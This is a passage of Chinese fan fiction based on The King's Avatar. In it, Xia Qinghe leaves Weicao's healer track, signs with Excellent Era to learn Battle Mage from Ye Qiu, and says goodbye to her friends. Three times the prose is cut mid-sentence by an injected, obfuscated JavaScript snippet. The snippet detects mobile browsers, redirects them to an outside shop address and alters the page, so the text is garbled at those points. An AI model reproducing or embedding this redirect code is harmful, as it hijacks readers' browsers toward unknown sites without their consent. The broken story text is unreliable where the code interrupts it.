回家路上,夏轻禾一直低着头。手机在口袋里震了好几次,她没看。等进了家门,屋里果然还是空荡荡的。爸妈大概又加班,姐姐也不在。她松了口气,把包扔在沙发上,径直走进自己房间,打开电脑。 她调出总决赛的录像,从头开始看。 不是看微草的进攻,也不是看蓝雨的配合,她就盯着方士谦的视角。看他的走位,看他的技能选择,看他在黄少天骚扰下的每一次转身,看他在喻文州战术布置下的每一次应对。 看到第三遍的时候,夏轻禾把进度条拉到最后一波团战。 冬虫夏草被夜雨声烦逼到角落,索克萨尔的六星光牢落下,治疗被隔断,下一秒,黄少天的剑光就到了。方士谦已经尽力了,神圣之火丢出去,圣戒之光炸开,但没用,夜雨声烦的剑太快,索克萨尔的控场太准。 夏轻禾按下暂停。 她把自己代入进去。如果是她,会怎么办?提前预判黄少天的位置?用升天阵打断索克萨尔的吟唱?还是干脆放弃治疗,用神圣十字架赌一把? 她想不出答案。 无论怎么模拟,结局好像都一样。在那个局面下,牧师救不了场,治疗改变不了胜负。喻文州的战术算死了微草的每一步,黄少天的操作撕开了每一个缺口,而方士谦,这个联盟公认的治疗之神,也只能眼睁睁看着自己的角色倒下。 夏轻禾靠在椅背上,闭上眼睛。 她想起方士谦教她的那些东西。如何站位,如何预判,如何用最少的技能稳住最多的血线。他说,治疗是团队的基石,是最后一道防线。 可是今天,这道防线被硬生生撕碎了。 手机又震了一下。夏轻禾睁开眼,拿起来看,是方士谦发来的消息。 “别瞎想,早点休息。” “输赢常事,明年再来。” “你今天的复盘作业还没交,明天记得补上。” 一条接一条,语气平静得像什么都没发生。 夏轻禾盯着屏幕,鼻子突然有点酸。她都替他不甘心,他自己却还在惦记她的作业。她打了几个字,又删掉,最后只回了一句:“知道了,师父你也早点休息。” 发完,她把手机扔到一边,重新看向电脑屏幕。 录像还停在最后一帧。冬虫夏草倒在地上,夜雨声烦的剑尖指天,蓝雨的队标在屏幕上放大,闪闪发光。 夏轻禾盯着那个画面,看了很久。 然后她打开一个新的文档,开始打字。手指在键盘上敲得飞快,像是要把脑子里翻腾了一晚上的东西全倒出来。写了删,删了写,最后只剩下一句话。 她盯着那句话,深吸一口气,给方士谦发了过去。 “师父,我决定了。” “我不当治疗了。” “我要去向叶秋学战斗法师。” …… 陶轩接到夏轻禾电话的时候,正翻着手里一堆乱七八糟的文件。手机屏幕亮着“夏轻禾”三个字,他挑了挑眉,按下接听。 “喂,陶叔叔,是我,轻禾。”电话那头的声音有点紧,但还算清楚。 “小禾啊,怎么想起给我打电话了?”陶轩放下文件,靠在老板椅上,语气挺随和。叶秋前几天确实跟他提过一嘴,说微草那丫头可能会联系他,但他没想到这么快。 “陶叔叔,我……我想来嘉世。”夏轻禾顿了一下,像是深吸了口气,然后一口气说了出来,“我不想在微草打治疗了,我想试试别的。” 陶轩拿着手机,手指在桌面上轻轻敲了敲。意外吗?有点。叶秋那家伙只说这丫头可能要换个环境,可没说她连职业都想换。他脑子里飞快地转着——夏轻禾,微草训练营的,方士谦亲自带着,玩牧师和守护天使,技术扎实,意识不错,就是打法有点莽。这些他都听说过。 他想起嘉世战队眼下的情况。治疗位的老陈下个赛季铁定要退役,年龄到了,手速也跟不上了,正愁着找谁来接呢。现成的治疗账号织影就在那儿摆着,属性不错,就是缺个合适的人。 “你想来嘉世打治疗?”陶轩问,语气听不出什么特别。 “嗯……对。”夏轻禾答得有点迟疑,但很快又补了一句,“我想换个环境试试,跟叶秋哥学学。” 陶轩笑了。跟叶秋学?那家伙能教人什么,除了怎么更心脏地坑对手?不过这话他没说出口。他想了想,说:“行啊,既然你有这个想法。正好,我们这边治疗位有个空缺。你要是真想好了,过来谈谈?” 电话那头沉默了两秒,然后传来夏轻禾明显松了一口气的声音:“好!谢谢陶叔叔!我随时都可以!” “那就明天下午吧,来俱乐部找我。”陶轩挂了电话,把手机扔回桌上,揉了揉太阳穴。这丫头,放着好好的微草不待,方士谦那么个大神师父不跟,跑嘉世来从头开始?年轻人,想法是真够跳脱的。 不过,对他陶轩来说,这未必是坏事。一个潜力不错、又有微草背景的训练生主动送上门,正好解了燃眉之急。至于她心里到底怎么想的,为什么突然要换战队换职业,那是她自己的事。只要合同一签,她就是嘉世的人了。 第四天下午,夏轻禾准时敲开了陶轩办公室的门。她今天穿了件简单的T恤和牛仔裤,头发扎成马尾,看着挺精神,就是眼神里带着点藏不住的紧张。 陶轩指了指对面的椅子:“坐。”他倒了杯水推过去,然后从抽屉里拿出一份早就准备好的合同,放在桌上。 “合同我看过了,待遇按照训练营提拔上来的新人标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143278|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准再多一些,”陶轩开门见山,“账号用织影,俱乐部会配合你适应角色。毕竟治疗是重要角色,下个赛季,你直接进一线队。” 他把合同往夏轻禾那边推了推,手指点在签名的地方,抬起头看着她:“不过小禾,这事儿不是儿戏。你真想好了?方士谦那边……他知道吗?他怎么说?” 夏轻禾看着那份合同,纸张很白,上面的字密密麻麻。她想起昨天在企鹅上跟方士谦说的话。她打字打得飞快,心跳得也飞快。 “师父,我决定了,我不当治疗了,我要去向叶秋学战斗法师!” 消息发出去后,聊天窗口顶端一直显示“对方正在输入…”,停了又显示,显示了又停,反复好几次。夏轻禾抱着手机,感觉时间过得特别慢。 过了好几分钟,方士谦的消息才回过来,只有两个字。 “真的?” 夏轻禾立刻回:“真的。” 那边又沉默了一会儿,然后才发来新消息:“想好了?” “想好了。” 这次方士谦回得很快:“好。” 就一个“好”字,没多问,也没劝,更没发火。夏轻禾盯着那个字看了半天,心里像堵了团棉花,说不出是什么滋味。她以为师父至少会问她为什么,或者骂她胡闹,但他没有。他就这么答应了,干脆得让她有点不知所措。 “师父……你没什么要说的吗?”她忍不住又发了一条。 方士谦回:“说什么?路是你自己选的,打比赛也是给你自己打的。你觉得对,就去。” “那……我要是去了嘉世……” “去了就好好打,别丢人。” 对话到此结束。夏轻禾看着最后那句话,鼻子有点酸,又有点想笑。这确实是方士谦会说出来的话。 “陶叔叔,”夏轻禾抬起头,看向办公桌后面的陶轩,眼神定了定,“我想好了。” 她拿起笔,笔尖悬在合同签名栏上方,停了一秒,然后稳稳地落下去,签下了自己的名字。 陶轩看着她签完,把合同拿回来,检查了一下,点点头:“行,欢迎加入嘉世。”他伸出手。 夏轻禾握上去,手心有点汗,但握得挺紧。 “那个,陶叔叔,”她收回手,犹豫了一下,还是问,“叶秋前辈他……在俱乐部吗?我想……” “叶秋啊,”陶轩笑了,笑容里有点无奈,“他啊,这会儿估计在哪猫着抽烟呢,或者在哪个网吧虐菜。你要找他,得碰运气。不过既然你来了,回头训练的时候总能见着。” 夏轻禾哦了一声,心里有点期待,又有点没底。 “行了,手续后续会有人跟你对接。宿舍安排,训练时间,这些都会通知你。”陶轩把合同收好,“回去准备准备吧,下个月就来报到。” “好。”夏轻禾站起来,走到门口,又回头看了一眼陶轩的办公室。阳光从窗户照进来,落在光洁的地板上,空气里有细微的灰尘在飘。 她轻轻带上门。 走廊里安静得很,只有她自己的脚步声。夏轻禾慢慢往外走,脑子里乱糟糟的。签了合同,这事就算定下来了。微草那边……她得回去收拾东西,还得跟乔一帆、高英杰他们说一声。还有王队……算了,王队那边,大概师父或者俱乐部会去沟通吧。 她走出嘉世俱乐部的大门,外面的阳光有点刺眼。夏轻禾眯了眯眼睛,摸出手机,点开那个群聊。 手指在屏幕上悬了半天,打了几个字,又删掉。 最后她发了一句:“同志们,我可能要暂时跑路啦。” 几乎同时,乔一帆的回复跳了出来:“?” 紧接着是高英杰:“轻禾?你要去哪?” 刘小别也冒泡了:“?说清楚。” 32.赛场再见 王杰希的办公室里很安静,只有桌上那台老式风扇在转,发出规律的嗡嗡声。 方士谦推门进来,拉了把椅子坐下,没说话,把手里的几份文件放在王杰希桌上。 王杰希从电脑屏幕前抬起头,看了一眼最上面那份,是夏轻禾的训练营档案,旁边还附了张纸,看抬头是嘉世那边发来的意向沟通函。 “她真去了?”王杰希问,语气平淡。 “嗯。”方士谦往后一靠,揉了揉眉心,“刚签的合同,下赛季用织影出道。” 王杰希没立刻接话,拿起那份沟通函扫了几眼。嘉世的动作倒是快,条件开得也合理,看来是确实缺人。他把函件放下,手指在桌面上点了点。 “网上那些评论,说微草缺正面攻坚手的,”王杰希开口,声音不高不慢,“她看到了?” 方士谦扯了扯嘴角:“谁知道那丫头天天在网上瞎看什么。不过八成是看到了,不然也不会突然闹着要转型,还跑去嘉世找叶秋。” 王杰希点点头。这就说得通了。夏轻禾那性格,看着大大咧咧,其实心里主意正得很。总决赛输给蓝雨,方士谦的牧师在剑与诅咒的配合下被针对到死,她肯定是憋着股劲,觉得治疗改变不了战局,想换个能正面冲杀的职业。 “本来我还打算,下赛季让她试试替补的。”方士谦叹了口气,语气听着有点无奈,“这下好了,又得重新物色接班人了,麻烦。” 王杰希看了他一眼,没说话。 办公室里的风扇还在转,吹得桌上几张纸的边缘微微颤动。窗外的天色有点暗,像是要下雨。 “舍不得的话,挽留不就好了?”王杰希忽然说,语气还是没什么起伏。 方士谦动作一顿,抬眼看他。 王杰希迎着他的目光,脸上没什么表情,但眼神里明明白白写着“我看透你了”。方士谦那点心思,他太清楚了。嘴上说着麻烦,其实带夏轻禾带了这么久,从网游里捡回来,一点一点教,看着她从横冲直撞慢慢变得有章法,哪能真说放就放。这家伙就是别扭,不肯直说。 方士谦被看得有点不自在,移开视线,伸手把夏轻禾那份档案推到一边,露出底下另外两份。 “不说她了。”他换了个话题,手指点了点剩下那两份文件,“下赛季,让乔一帆和刘小别出道打替补试试,你觉得怎么样?” 王杰希顺着他的动作看过去。乔一帆的资料上贴着张一寸照,少年模样清秀,眼神温和。旁边是一行备注:有阵鬼天赋,可培养。刘小别的资料更简单些,但全明星周末那场对决的数据分析附在后面,手速峰值那栏的数字格外显眼。 “乔一帆,叶秋点名说他有阵鬼天赋,这段时间看他用小号练得挺投入。”方士谦继续说,“刘小别,全明星上你也看见了,手速和胆子都不缺,就是细节还得磨。” 王杰希拿起乔一帆那份档案,翻了几页。训练记录,团队协作评估,心理素质测评……数据不算突出,但胜在稳定,而且近期的阵鬼练习数据显示出不错的成长曲线。 他又看了看刘小别的。锐气十足,敢打敢拼,但有时候冲得太猛,容易脱节。 “可以。”王杰希放下文件,点了点头,“就按你说的,下赛季让他们试试。” 方士谦嗯了一声,把文件收拢起来,站起身:“那我先去安排了。” 他走到门口,手搭在门把上,停了一下,似乎想说什么,但最后还是没回头,拉开门出去了。 风扇还在转,嗡嗡的。 …… B市某家火锅店的包间里,热气蒸腾,红油锅底咕嘟咕嘟地翻滚着,香气混着辣椒的呛味直往人鼻子里钻。 夏轻禾、乔一帆、高英杰、刘小别四个人围坐在桌边,面前的油碟调料早就拌好了,但谁也没动筷子。牛肉卷、毛肚、虾滑、青菜摆了一桌子,在升腾的白雾里若隐若现。 “吃啊,大家,怎么不吃。”夏轻禾拿起筷子,夹起一片肥牛卷在锅里涮了涮,七上八下,然后很自然地放进了离她最近的刘小别碗里,“小别,给你,这肉看着就嫩。” 刘小别低头看了一眼碗里突然多出来的肉片,又抬头看夏轻禾,没动。 “你说清楚,”刘小别开口,声音不大,但很直接,“跑路是什么意思?” “啊?哈哈……”夏轻禾干笑两声,眼神有点飘,“就是字面意思啊,下个赛季,我要去嘉世出道了。” 包间里瞬间安静下来,只有锅底还在不知疲倦地咕噜着。 乔一帆手里捏着筷子,指尖有点发白。他看看夏轻禾,又看看刘小别,张了张嘴,声音有点不确定:“……嘉世?为什么要去嘉世啊?” “这没什么,”夏轻禾低下头,用筷子戳着自己碗里的香油,“就是……突然觉得治疗没什么前途,想学学近战了。” “那,”一直没说话的高英杰忽然开口了,看着夏轻禾,语气很平静,“以后我们就是对手了。” 夏轻禾抬起头,对上高英杰的目光。少年脸上没什么表情,但眼神很认真。 她咧开嘴笑了,笑容有点勉强,但努力撑着:“对啊,对手。到时候赛场上见了,你们可别手下留情。” 乔一帆抿了抿嘴唇,想说什么,又咽了回去。他夹起一筷子青菜,放进锅里,看着青菜在红汤里翻滚,慢慢变软。 刘小别终于动了,他把夏轻禾夹给他的那片肉塞进嘴里,嚼了两下,咽下去,然后才说:“嘉世待遇怎么样?” “还行,比训练营好。”夏轻禾说。 “哦。”刘小别点点头,又夹了块毛肚,“那记得请客。” “凭什么啊!”夏轻禾立刻抗议。 “践行饭。”刘小别理由充分。 乔一帆小声插话:“那……轻禾姐,你什么时候走?” “下个月去报到。”夏轻禾说,声音低了些,“到时候……就不跟你们一块训练了。” 锅里的热气还在往上冒,模糊了彼此的脸。高英杰默默地把煮好的虾滑捞起来,分到每个人碗里。乔一帆低头吃着,没再说话。刘小别涮毛肚涮得专心致志,仿佛刚才的话题已经结束了。 夏轻禾看着他们,心里那点故作轻松的劲儿忽然就泄了。她拿起可乐罐,用力吸了一大口,冰凉的甜味冲进喉咙,却压不住胸口那股闷闷的感觉。 “喂,”她放下罐子,声音大了点,“你们倒是说句话啊!又不是以后见不着了!比赛场上还能碰见呢!再说了,群不是还在吗?” 乔一帆抬起头,对她笑了笑:“嗯,轻禾姐,加油。” 高英杰也点点头:“一起加油。” 刘小别把最后一片毛肚咽下去,擦了擦嘴,看向夏轻禾:“到了嘉世,别给微草丢人。” 夏轻禾愣了一下,然后噗嗤笑出来,眼圈却有点热:“知道了知道了!就你话多!” 锅里的汤快烧干了,服务员进来加了次汤。热气重新弥漫开,桌上的气氛似乎也随着这翻腾的蒸汽松动了一些。四个人终于开始动筷子,牛肉、毛肚、虾滑下锅,捞起,蘸料,送进嘴里。话题渐渐扯到了别处,训练营的趣事,最近看的动漫,哪家新开的奶茶店好喝…… 夏轻禾看着锅里沉沉浮浮的食材,心想,下次再这样坐在一起吃火锅,不知道是什么时候了。 也许,真的要等到赛场上,隔着比赛台,遥遥相望的时候了吧。 从火锅店出来,天已经黑透了。街灯一盏接一盏亮起来,在地上拖出长长的影子。 四个人沿着人行道慢慢走,谁也没说话。夏轻禾走在最前面,两只手插在兜里,低着头看自己的鞋尖。乔一帆跟在她旁边,隔了半步的距离。高英杰和刘小别落在后面,脚步声很轻。 走了大概两条街,到了一个十字路口。高英杰停下来,看了看左边那条路。 “我家往这边。”他小声说。 刘小别也停下,指了指右边:“我这边。” 夏轻禾转过身,朝他们挥挥手:“行,那你们路上小心。” 高英杰点点头,又看了夏轻禾一眼,欲言又止,最后只说了一句:“轻禾,再见。” “再见。”夏轻禾笑了,虽然笑容有点淡。 刘小别没说什么,只是冲夏轻禾抬了抬下巴,算是道别,然后转身就走了,背影很快消失在路灯的光晕里。高英杰也朝左边走去,脚步不快,走几步还回头看了一眼。 路口就剩下夏轻禾和乔一帆两个人。 车流从他们面前驶过,车灯的光束在夜色里划出一道道流动的线。晚风吹过来,带着点凉意。 两人继续往前走,还是没人说话。乔一帆走在夏轻禾旁边,偶尔转头看看她,又很快把目光移开,盯着前面的路。他的手指在裤缝边无意识地蜷了蜷,松开,又蜷起来。 又走了半条街,乔一帆终于开口了,声音很轻,混在风声里几乎听不清。 “轻禾姐……真的要走吗?” 夏轻禾脚步没停,嗯了一声。 “可是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143279|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乔一帆的语气有些犹豫,像是斟酌着用词,“要转型的话,也不一定要跑去嘉世吧?像我一样,开个小号在训练营从头开始练,也可以啊。方副队和王队他们……不会介意的。” 夏轻禾脚步慢了下来。她侧过头看了乔一帆一眼,少年清秀的脸上写满了困惑和不舍,还有一点小心翼翼的试探。 “这不一样,一帆。”夏轻禾转回头,继续看着前面的路,声音平静下来,“我知道你的意思。你是想说,留下来,慢慢转,像你现在练阵鬼一样,不耽误。” 乔一帆点点头。 “但是,”夏轻禾吸了口气,又缓缓吐出来,“师父时间不多了。” 乔一帆愣了一下。 “我是说,他找接班人的时间。”夏轻禾解释道,语气里带着一种乔一帆很少从她这里听到的认真,“他带我,花了多少心血,你我都知道。现在微草缺什么,网上那些评论你也看到了。下个赛季,队伍肯定要调整,要补强。我不能占着一个位置,又给不了队伍最需要的东西。我不想耽误师父找新的、真正合适的接班人,不想让微草因为我的犹豫耽误一个赛季。” 她顿了顿,声音低了些:“而且……去嘉世,我能直接接触叶秋前辈。他是战斗法师天花板,我想学的东西,他能教我最直接的东西。这是最快的路。” 乔一帆不说话了。他低着头,脚步也跟着慢了下来,他发现自己没法反驳。是啊,方副队的时间,微草的需要,夏轻禾自己的规划……每一条都说得通。他那些“可以慢慢来”的想法,在这样清晰的逻辑面前,显得有些苍白和理想化。 他只是……舍不得。 并肩走了这么多年,从网游里跟着她横冲直撞,到训练营里互相打气,一起吃食堂,一起吐槽训练,一起因为一点小进步而开心。现在她突然要走,要去另一个城市,另一个战队,甚至可能站到对立面,乔一帆心里很不舒服。 他张了张嘴,想说“那也不用走得这么急”,或者“再考虑考虑”,但话到嘴边,又咽了回去。他了解夏轻禾,她决定的事,九头牛都拉不回来。 “好啦,”夏轻禾忽然伸手,用力拍了拍乔一帆的肩膀,力气大得让他趔趄了一下。她又恢复了那种大大咧咧的语气,好像刚才的认真只是错觉,“别苦着脸了!我又不是去外星!还在同一个联盟呢!抬头不见低头见!” 乔一帆被她拍得有点懵,抬头看她。 夏轻禾咧着嘴笑,眼睛在路灯下亮晶晶的:“放心啦,我们肯定常联系。企鹅,微信,电话,想怎么聊怎么聊!” 然后又拍了拍他,这次力道轻了些,“倒是你,要照顾好自己啊。阵鬼好好练,别被人欺负了。要是训练营有谁不长眼敢惹你,你就告诉我,我……我让刘小别去打他!” “轻禾姐……”乔一帆无奈。 “开玩笑的!”夏轻禾哈哈笑,笑完,表情又认真了一点,看着他,“一帆,我是说真的。好好打,到时候赛场上见,我可不会因为你是乔一帆就手下留情。” 乔一帆看着她,慢慢点了点头:“嗯。” 又走了一段,到了该分岔的路口。夏轻禾家往左,乔一帆家往右。 “行,那我往这边了。”夏轻禾停下脚步,朝左边抬了抬下巴,“你回去早点休息。” “轻禾姐也是。”乔一帆说。 两人面对面站了一会儿,谁也没动。路灯的光从头顶洒下来,把两个人的影子拉得很长,交错在一起。 “那我走了啊。”夏轻禾先转过身,朝左边走去。 “轻禾姐!”乔一帆忽然叫住她。 夏轻禾回过头。 乔一帆看着她,嘴唇动了动,最后只说了两个字:“加油。” 夏轻禾笑了,用力点点头,然后挥挥手,转身大步走了。她的背影很快融进夜色里,马尾辫在脑后一甩一甩的。 乔一帆站在原地,看了好一会儿,直到那个身影消失在拐角,才慢慢转过身,朝自己家的方向走去。 夜风吹过来,有点凉。他拉了拉外套的拉链,把手插进口袋里。 口袋里,手机震动了一下。 他拿出来看,是夏轻禾发来的消息。 “到家和我说一声啊!” 后面跟着个龇牙咧嘴的兔子表情包。 乔一帆看着那个表情包,嘴角弯了弯,回了句“好”。 他把手机放回口袋,加快了脚步。 路口的风似乎更大了些,吹得路边的树叶哗啦啦响。 33.就当接风 一个月后,夏轻禾拖着一个半人高的行李箱,站在了嘉世俱乐部宿舍区的楼下。 宿舍是单人间,不大,但干净整齐。一张床,一张书桌,一个衣柜,外加一个小小的独立卫生间。 窗户朝南,下午的阳光斜斜地照进来,在地板上投出方方正正的光斑。空气里有股淡淡的新打扫过的味道。 夏轻禾把箱子推进来,关上门,背靠着门板站了一会儿。四周很安静,能听到窗外远处马路上隐约的车流声,还有不知道哪层楼传来的、极轻微的键盘敲击声。 她走到床边坐下,床垫有点硬。环顾四周,房间空荡荡的,除了俱乐部配的基础家具,什么都没有。她的东西都还塞在那个大箱子里,得一点点收拾出来。 但夏轻禾这会儿不太想动。她盯着地板上的光斑,看着灰尘在光柱里慢慢飘浮,心里也说不上是什么感觉。 离开了待了一年多的微草,离开了熟悉的师父和伙伴,跑到这个完全陌生的城市,陌生的战队。合同签了,宿舍住了,路是自己选的,可当真正一个人坐在这里的时候,那股实实在在的“我换地方了”的感觉才猛地砸下来。 她甩了甩头,像是要把那点突如其来的茫然甩掉。站起身,走到窗边,推开窗户。 初夏的风吹进来,带着点温热的气息。楼下有零零散散的几个穿着嘉世队服的人走过,大概是留下来夏训的队员。 看了一会儿,夏轻禾关好窗户,决定先去训练室看看。她记得叶秋说过,夏休期他基本都泡在俱乐部。 训练室里果然有人。只有靠窗的那台电脑亮着,屏幕的光映着一张没什么精神的脸。叶秋坐在那儿,左手夹着根没点的烟,右手握着鼠标,屏幕上花花绿绿,看界面是在网游里。 夏轻禾敲了敲敞开的门。 叶秋转过头,看到她,脸上没什么意外的表情,像是早就知道她会来。 “来啦?”他把烟随手夹在耳朵上,松开鼠标,活动了一下手腕,“东西放好了?” “放好了。”夏轻禾走进来,训练室比她想象中大,机器也多,但大部分都暗着,显得有点空。 “行,”叶秋站起来,伸了个懒腰,“正好饭点了,走,叫上沐橙,一起吃个饭,算给你接风。” 夏轻禾愣了一下:“啊?不用这么麻烦……” “麻烦什么,”叶秋已经往外走了,语气随意,“反正去哪都得吃。” 他们在女生宿舍楼下等了一会儿,苏沐橙就下来了。她穿着简单的T恤短裤,头发松松地扎着,看到夏轻禾,笑着打了个招呼:“轻禾来啦,欢迎。” “沐橙姐好。”夏轻禾连忙说。她对苏沐橙印象很好,全明星周末那次短暂的接触,觉得这位联盟女神没什么架子,脾气也好。 三人去了俱乐部附近一家常去的小馆子。店面不大,但干净,老板娘认识叶秋和苏沐橙,热情地招呼他们坐。 点完菜,等上菜的间隙,叶秋忽然朝老板娘招了招手:“来瓶啤酒。” 苏沐橙正在倒茶的手顿住了,她看向叶秋,眉头微蹙:“你干嘛?你能喝酒吗?” 叶秋摸了摸鼻子,有点含糊:“这不是……欢迎新队友嘛。” “得了吧你,”苏沐橙毫不客气地拆穿,“你什么酒量我还不知道?一杯倒,沾酒就睡,待会儿谁把你扛回去?” 叶秋被说得有点挂不住,轻咳一声,把目光转向夏轻禾:“那什么,夏轻禾,你能喝吗?你刚成年吧?” 夏轻禾正在低头研究菜单上的图片,闻言抬起头,眼睛眨了眨。成年了,喝酒……好像是可以了? 一股莫名的混合着“我成年了我能做主了”和一点点叛逆的情绪涌上来。她挺了挺胸,声音都大了点:“能!怎么不能!我喝!好不容易成年了,当然要试试了!” 苏沐橙还想说什么,叶秋已经抬手示意老板娘把酒拿过来了。一瓶冰啤酒,三个玻璃杯。 菜陆续上来了,红烧排骨,清炒时蔬,蒜蓉粉丝虾,还有一大碗番茄蛋汤。叶秋给三个杯子都倒上酒,琥珀色的液体泛着细密的气泡。 “来,欢迎加入嘉世。”叶秋举起杯子,语气挺像那么回事。 苏沐橙无奈,也举起了自己的杯子,里面只倒了小半杯。夏轻禾则豪气地端起满杯,跟叶秋碰了一下,又跟苏沐橙碰了一下,然后仰头就喝了一大口。 冰凉,微苦,带着点麦芽的香气滑过喉咙,有点刺激。夏轻禾咂咂嘴,感觉……还行?好像也没那么难喝? “吃菜吃菜。”叶秋放下杯子,开始夹菜,好像刚才劝酒的人不是他。 夏轻禾也饿了,埋头吃起来。红烧排骨炖得软烂,虾仁鲜嫩,确实不错。她一边吃,一边又端起杯子喝了几口。 酒意好像慢慢上来了,脸颊有点热,脑子也有点晕乎乎的,但感觉不坏,反而有点轻飘飘的舒坦。 她的话开始变多,从吐槽宿舍的床太硬,说到来时的火车上旁边大叔打呼噜太响,又说到微草食堂的糖醋排骨其实比这里的好吃。 苏沐橙笑着听,偶尔插两句。叶秋大多时候只是嗯嗯啊啊地应着,慢悠悠地吃着菜,喝着自己杯子里一直没见少的水。 不知不觉,夏轻禾面前那杯酒见了底。她自己又给自己倒上,喝得兴起。 “第五杯!”夏轻禾举起空杯子,宣布战绩,声音比刚才大了不少,脸颊红扑扑的。 然后,她举着杯子的手晃了晃,眼神开始发直。下一秒,她整个人往前一趴,额头抵在桌沿上,不动了。手里的杯子骨碌碌滚到桌子中央,被叶秋伸手接住。 包间里顿时安静下来。 苏沐橙看了看趴在桌上、呼吸变得均匀绵长的夏轻禾,又看了看对面一脸淡定、正在夹一只虾仁的叶秋,挑了挑眉。 “你故意的?”苏沐橙问。 叶秋把虾仁塞进嘴里,嚼了两下,咽下去,才慢吞吞地说:“哪能啊,她自己要喝的。”好像自己多无辜似的。 苏沐橙没说话,只是看着他。 叶秋被她看得有点不自在,移开视线,摸了摸耳朵上夹着的那根烟:“咳……年轻人嘛,刚来新地方,心里装着事,睡不好。喝点酒,正好休息休息。” 苏沐橙的目光落在夏轻禾脸上。女孩闭着眼睛,长长的睫毛在眼底投下一小片阴影,眼下确实有着淡淡的、掩饰不住的黑眼圈。她来的时候就注意到了,只是没点破。 “这个虾仁确实不错。”苏沐橙没再追问,转而夹起一块排骨,语气自然,“还剩点菜,别浪费了。” “嗯。”叶秋点头,两人默契地不再提夏轻禾,安安静静地把剩下的饭菜吃完。 结完账,苏沐橙看了看依旧睡得香甜的夏轻禾,又看了看叶秋:“谁送她回去?” 叶秋站起身,活动了一下肩膀:“我背她吧。” 他走到夏轻禾旁边,弯下腰,手臂穿过她的膝弯,另一只手托住她的背,稍微一用力,就把人稳稳地背了起来。夏轻禾个子不算矮,但叶秋背起来似乎并不吃力。她脑袋歪在叶秋肩膀上,嘴里含糊地嘟囔了一句什么,听不清,又睡过去了。 苏沐橙拿起夏轻禾落在椅子上的小背包,跟在他们后面。 傍晚的风吹过来,带着白天的余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155505|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热。街道上行人不多,路灯还没完全亮起,天空是那种灰蓝色的调子。叶秋背着夏轻禾,脚步不快,但很稳。苏沐橙走在他旁边,偶尔伸手帮夏轻禾拢一下滑下来的头发。 “她真能成为她想要的那种攻坚手吗?”苏沐橙忽然轻声问。 叶秋看着前面的路,没回头:“不知道。得试了才知道。” “从治疗转型,不容易。” “是不容易,”叶秋说,“所以得她自己真想才行。别人逼没用。” 苏沐橙没再说话。三人就这么安静地走了一段,嘉世俱乐部的招牌在暮色里渐渐清晰起来。 快到宿舍楼下时,背上的夏轻禾又动了一下,这次嘟囔的声音清楚了些。 “……师父……牛肉……再涮就老了……” 叶秋脚步一顿,侧头看了看肩膀上那颗毛茸茸的脑袋,嘴角几不可察地弯了一下,又很快恢复原状。 “到了。”他低声说,像是自言自语,又像是在对背上的人说。 —— 晚上十点多,方士谦刚结束一份训练数据的分析报告,揉了揉发酸的眼睛,正准备关电脑睡觉。 桌面右下角的企鹅图标跳动起来,提示有新消息。 他点开,是叶秋发来的。没有文字,只有一个图片附件。 方士谦皱了皱眉,点开图片。 照片光线有点暗,但能看清楚。是夏轻禾,闭着眼睛,侧脸陷在枕头里,睡得正熟。 大概是角度问题,嘴角好像还挂着一丁点可疑的水光,头发也有几缕黏在脸颊上,整个人看起来毫无防备,甚至有点傻气。 方士谦盯着那张照片,看了好一会儿。屏幕的光映在他脸上,没什么表情。 他移动鼠标,点开聊天窗口,手指放在键盘上,打了一行字:“她怎么样?” 打完,又停住了。 光标在输入框里一闪一闪。方士谦看着那三个字,眉头微微拧起。问这个干嘛?显得他多不放心似的。 他删掉了那行字。聊天窗口空空如也,只有那张傻乎乎的睡脸照片挂在上面。 就在他犹豫的这几秒,叶秋的消息又来了。这次是文字。 “我说,方士谦,你怎么就这么舍得把你这么个宝贝徒弟给我们嘉世了?” 方士谦的手指在键盘上悬空停顿了一下,然后落下去,敲字。 “那没办法啊,她自己非要跑,拦也拦不住。” 叶秋回得很快:“哟,听着还挺委屈。” “委屈什么,省心。”方士谦回,“正好给我腾地方找新的。” “嘴硬。” “事实。” 两人你一言我一语地聊了几句,方士谦说话的风格还是那样,不咸不淡,偶尔带点刺。叶秋则是一贯的懒散随意,好像什么都提不起劲,又好像什么都看在眼里。 聊了大概十来分钟,叶秋那边最后发了句:“行了,不耽误你找新接班人了。人我给你看着,丢不了。” 方士谦看着这句话,手指在键盘边缘轻轻敲了敲,回了两个字:“随你。” 聊天窗口暗了下去。 方士谦关掉和叶秋的对话框,目光又不自觉地扫过屏幕角落。那张夏轻禾流着口水睡觉的照片还在那里,小小的缩略图,点开就能看到放大版。 他移动鼠标,光标悬在图片上,停留了两秒。 